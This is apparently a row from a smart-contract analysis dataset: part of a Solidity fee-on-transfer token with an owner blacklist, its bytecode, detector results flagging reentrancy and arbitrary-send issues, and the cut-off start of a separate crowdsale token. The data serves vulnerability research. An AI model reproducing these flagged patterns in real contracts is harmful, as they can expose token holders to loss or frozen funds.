function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(10).mul(6));
_Buyback.transfer(amount.div(10).mul(4));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarketingWallet(address payable account) external onlyOwner() {
_Marketingfund = account;
}
function setDev(address payable account) external onlyOwner() {
_Deployer = account;
}
function setBB(address payable account) external onlyOwner() {
_Buyback = account;
}
}
|
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c914610503578063dd62ed3e14610523578063e01af92c14610569578063e47d60601461058957600080fd5b8063d00efb2f146104ad578063d477f05f146104c3578063d543dbeb146104e357600080fd5b8063c0e6b46e116100c6578063c0e6b46e1461042a578063c3c8cd801461044a578063c9567bf91461045f578063cba0e9961461047457600080fd5b806395d89b41146103b8578063a9059cbb146103ea578063b515566a1461040a57600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461034657806370a082311461035b578063715018a61461037b5780638da5cb5b1461039057600080fd5b8063437823ec146102e65780635932ead1146103065780635d098b381461032657600080fd5b806323b872dd1161019557806323b872dd14610268578063273123b71461028857806328667162146102aa578063313ce567146102ca57600080fd5b806306fdde03146101c7578063095ea7b31461021257806318160ddd1461024257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152601081526f42616e6b206f66204d6f6f6e6f73686960801b60208201525b6040516102099190611d96565b60405180910390f35b34801561021e57600080fd5b5061023261022d366004611c27565b6105c2565b6040519015158152602001610209565b34801561024e57600080fd5b50683635c9adc5dea000005b604051908152602001610209565b34801561027457600080fd5b50610232610283366004611be7565b6105d9565b34801561029457600080fd5b506102a86102a3366004611b77565b610642565b005b3480156102b657600080fd5b506102a86102c5366004611d51565b610696565b3480156102d657600080fd5b5060405160098152602001610209565b3480156102f257600080fd5b506102a8610301366004611b77565b610723565b34801561031257600080fd5b506102a8610321366004611d19565b610771565b34801561033257600080fd5b506102a8610341366004611b77565b6107b9565b34801561035257600080fd5b506102a8610805565b34801561036757600080fd5b5061025a610376366004611b77565b610832565b34801561038757600080fd5b506102a8610854565b34801561039c57600080fd5b506000546040516001600160a01b039091168152602001610209565b3480156103c457600080fd5b5060408051808201909152600981526853414e492042414e4b60b81b60208201526101fc565b3480156103f657600080fd5b50610232610405366004611c27565b6108c8565b34801561041657600080fd5b506102a8610425366004611c52565b6108d5565b34801561043657600080fd5b506102a8610445366004611d51565b610979565b34801561045657600080fd5b506102a8610a18565b34801561046b57600080fd5b506102a8610a4e565b34801561048057600080fd5b5061023261048f366004611b77565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104b957600080fd5b5061025a60165481565b3480156104cf57600080fd5b506102a86104de366004611b77565b610e14565b3480156104ef57600080fd5b506102a86104fe366004611d51565b610e60565b34801561050f57600080fd5b506102a861051e366004611b77565b610f2d565b34801561052f57600080fd5b5061025a61053e366004611baf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057557600080fd5b506102a8610584366004611d19565b610f79565b34801561059557600080fd5b506102326105a4366004611b77565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105cf338484610fb7565b5060015b92915050565b60006105e68484846110db565b610638843361063385604051806060016040528060288152602001611f67602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113bd565b610fb7565b5060019392505050565b6000546001600160a01b031633146106755760405162461bcd60e51b815260040161066c90611de9565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106c05760405162461bcd60e51b815260040161066c90611de9565b600181101580156106d2575060198111155b61071e5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015260640161066c565b600955565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161066c90611de9565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161066c90611de9565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260040161066c90611de9565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b03161461082557600080fd5b4761082f816113f7565b50565b6001600160a01b0381166000908152600260205260408120546105d39061148c565b6000546001600160a01b0316331461087e5760405162461bcd60e51b815260040161066c90611de9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105cf3384846110db565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161066c90611de9565b60005b8151811015610975576001600e600084848151811061093157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096d81611efc565b915050610902565b5050565b6000546001600160a01b031633146109a35760405162461bcd60e51b815260040161066c90611de9565b600081116109f35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161066c565b610a12612710610a0c683635c9adc5dea0000084611510565b9061158f565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a3857600080fd5b6000610a4330610832565b905061082f816115d1565b6000546001600160a01b03163314610a785760405162461bcd60e51b815260040161066c90611de9565b601454600160a01b900460ff1615610ad25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161066c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b0f3082683635c9adc5dea00000610fb7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4857600080fd5b505afa158015610b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b809190611b93565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c009190611b93565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4857600080fd5b505af1158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c809190611b93565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610cb081610832565b600080610cc56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d2857600080fd5b505af1158015610d3c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d619190611d69565b505060148054678ac7230489e800006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ddc57600080fd5b505af1158015610df0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109759190611d35565b6000546001600160a01b03163314610e3e5760405162461bcd60e51b815260040161066c90611de9565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e8a5760405162461bcd60e51b815260040161066c90611de9565b60008111610eda5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161066c565b610ef26064610a0c683635c9adc5dea0000084611510565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f575760405162461bcd60e51b815260040161066c90611de9565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f9957600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166110195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161066c565b6001600160a01b03821661107a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161066c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661113f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161066c565b6001600160a01b0382166111a15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161066c565b600081116112035760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161066c565b6000546001600160a01b0384811691161480159061122f57506000546001600160a01b03838116911614155b15611360576001600160a01b03831630146112535760155481111561125357600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561129557506001600160a01b0382166000908152600e602052604090205460ff16155b80156112b15750336000908152600e602052604090205460ff16155b6112ba57600080fd5b60006112c530610832565b9050600d5481106112d55750600d545b600c546014549082101590600160a81b900460ff161580156113005750601454600160b01b900460ff165b80156113095750805b801561132357506014546001600160a01b03868116911614155b801561133d57506013546001600160a01b03868116911614155b1561135d5761134b826115d1565b47801561135b5761135b476113f7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113a257506001600160a01b03831660009081526005602052604090205460ff165b156113ab575060005b6113b784848484611776565b50505050565b600081848411156113e15760405162461bcd60e51b815260040161066c9190611d96565b5060006113ee8486611ee5565b95945050505050565b6010546001600160a01b03166108fc61141c600661141685600a61158f565b90611510565b6040518115909202916000818181858888f19350505050158015611444573d6000803e3d6000fd5b506012546001600160a01b03166108fc611464600461141685600a61158f565b6040518115909202916000818181858888f19350505050158015610975573d6000803e3d6000fd5b60006006548211156114f35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161066c565b60006114fd6117a4565b9050611509838261158f565b9392505050565b60008261151f575060006105d3565b600061152b8385611ec6565b9050826115388583611ea6565b146115095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161066c565b600061150983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c7565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167b57600080fd5b505afa15801561168f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b39190611b93565b816001815181106116d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116fa9130911684610fb7565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611733908590600090869030904290600401611e1e565b600060405180830381600087803b15801561174d57600080fd5b505af1158015611761573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611783576117836117f5565b61178e848484611823565b806113b7576113b7600a54600855600b54600955565b60008060006117b161191a565b90925090506117c0828261158f565b9250505090565b600081836117e85760405162461bcd60e51b815260040161066c9190611d96565b5060006113ee8486611ea6565b6008541580156118055750600954155b1561180c57565b60088054600a5560098054600b5560009182905555565b6000806000806000806118358761195c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186790876119b9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461189690866119fb565b6001600160a01b0389166000908152600260205260409020556118b881611a5a565b6118c28483611aa4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161190791815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611936828261158f565b82101561195357505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119798a600854600954611ac8565b92509250925060006119896117a4565b9050600080600061199c8e878787611b17565b919e509c509a509598509396509194505050505091939550919395565b600061150983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113bd565b600080611a088385611e8e565b9050838110156115095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161066c565b6000611a646117a4565b90506000611a728383611510565b30600090815260026020526040902054909150611a8f90826119fb565b30600090815260026020526040902055505050565b600654611ab190836119b9565b600655600754611ac190826119fb565b6007555050565b6000808080611adc6064610a0c8989611510565b90506000611aef6064610a0c8a89611510565b90506000611b0782611b018b866119b9565b906119b9565b9992985090965090945050505050565b6000808080611b268886611510565b90506000611b348887611510565b90506000611b428888611510565b90506000611b5482611b0186866119b9565b939b939a50919850919650505050505050565b8035611b7281611f43565b919050565b600060208284031215611b88578081fd5b813561150981611f43565b600060208284031215611ba4578081fd5b815161150981611f43565b60008060408385031215611bc1578081fd5b8235611bcc81611f43565b91506020830135611bdc81611f43565b809150509250929050565b600080600060608486031215611bfb578081fd5b8335611c0681611f43565b92506020840135611c1681611f43565b929592945050506040919091013590565b60008060408385031215611c39578182fd5b8235611c4481611f43565b946020939093013593505050565b60006020808385031215611c64578182fd5b823567ffffffffffffffff80821115611c7b578384fd5b818501915085601f830112611c8e578384fd5b813581811115611ca057611ca0611f2d565b8060051b604051601f19603f83011681018181108582111715611cc557611cc5611f2d565b604052828152858101935084860182860187018a1015611ce3578788fd5b8795505b83861015611d0c57611cf881611b67565b855260019590950194938601938601611ce7565b5098975050505050505050565b600060208284031215611d2a578081fd5b813561150981611f58565b600060208284031215611d46578081fd5b815161150981611f58565b600060208284031215611d62578081fd5b5035919050565b600080600060608486031215611d7d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dc257858101830151858201604001528201611da6565b81811115611dd35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e6d5784516001600160a01b031683529383019391830191600101611e48565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ea157611ea1611f17565b500190565b600082611ec157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ee057611ee0611f17565b500290565b600082821015611ef757611ef7611f17565b500390565b6000600019821415611f1057611f10611f17565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082f57600080fd5b801515811461082f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b4653f4aeee84ef2510fcd93ab662957f67c2b51dd5be9f12518e76b52ddd9b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,779 |
0x62bf50192b3ef428e24bc8d10f0c2a6eabe80e08
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original "owner" of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public onlyPayloadSize(2) returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
onlyPayloadSize(2)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
onlyPayloadSize(2)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Token is BurnableToken, Ownable {
string public constant name = "BITSIFU COIN";
string public constant symbol = "BSF";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 50000000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0x0), owner, initialSupply);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded
to a wallet
* as they arrive.
*/
interface token { function transfer(address receiver, uint amount) external; }
contract ERC20CrowdsaleToken is Token {
using SafeMath for uint256;
uint256 public price = 3000;
token tokenReward;
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () public {
tokenReward = token(address(this));
}
bool public started = true;
function startSale() onlyOwner public {
started = true;
}
function stopSale() onlyOwner public {
started = false;
}
function setPrice(uint256 _price) onlyOwner public {
price = _price;
}
// fallback function can be used to buy tokens
function () payable external {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable public {
require(beneficiary != address(0x0));
